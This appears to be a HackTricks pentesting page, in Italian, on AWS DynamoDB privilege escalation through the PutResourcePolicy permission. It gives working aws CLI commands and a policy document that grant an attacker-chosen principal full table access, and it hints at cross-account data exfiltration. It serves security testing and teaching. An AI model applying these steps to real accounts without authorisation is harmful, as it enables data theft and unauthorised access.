# AWS - DynamoDB Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## dynamodb

Per maggiori informazioni su dynamodb consulta:

{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:PutResourcePolicy`, e opzionalmente `dynamodb:GetResourcePolicy`

Da marzo 2024, AWS offre *policy basate sulle risorse* per DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).

Quindi, se hai il `dynamodb:PutResourcePolicy` su una tabella, puoi semplicemente concedere a te stesso o a qualsiasi altro principal l'accesso completo alla tabella.

Concedere il `dynamodb:PutResourcePolicy` a un principal casuale spesso avviene per errore, se gli amministratori pensano che concedere `dynamodb:Put*` permetta solo al principal di inserire elementi nel database — o se hanno concesso quel permissionset prima di marzo 2024...

Idealmente, hai anche `dynamodb:GetResourcePolicy`, così non sovrascrivi altre autorizzazioni potenzialmente vitali, ma inietti solo le autorizzazioni aggiuntive di cui hai bisogno:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
Se non riesci a recuperare la policy corrente, usa semplicemente questa che concede l'accesso completo alla tabella al tuo principal:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
Se devi personalizzarlo, ecco un elenco di tutte le possibili azioni di DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). E qui c'è un elenco di tutte le azioni che possono essere consentite tramite una resource based policy *E quali di queste possono essere utilizzate cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)

Ora, con il documento di policy `policy.json` pronto, inserisci la resource policy:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
Ora dovresti avere i permessi di cui avevi bisogno.

### Post Exploitation

Per quanto ne so, c'è **no other direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. Puoi **leggere informazioni sensibili** dalle tabelle (che potrebbero contenere credenziali AWS) e **scrivere informazioni sulle tabelle** (che potrebbero innescare altre vulnerabilità, come lambda code injections...) ma tutte queste opzioni sono già considerate nella **DynamoDB Post Exploitation page**:

{{#ref}}
../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
{{#endref}}

### TODO: Leggere dati abusando dei data Streams

{{#include ../../../../banners/hacktricks-training.md}}
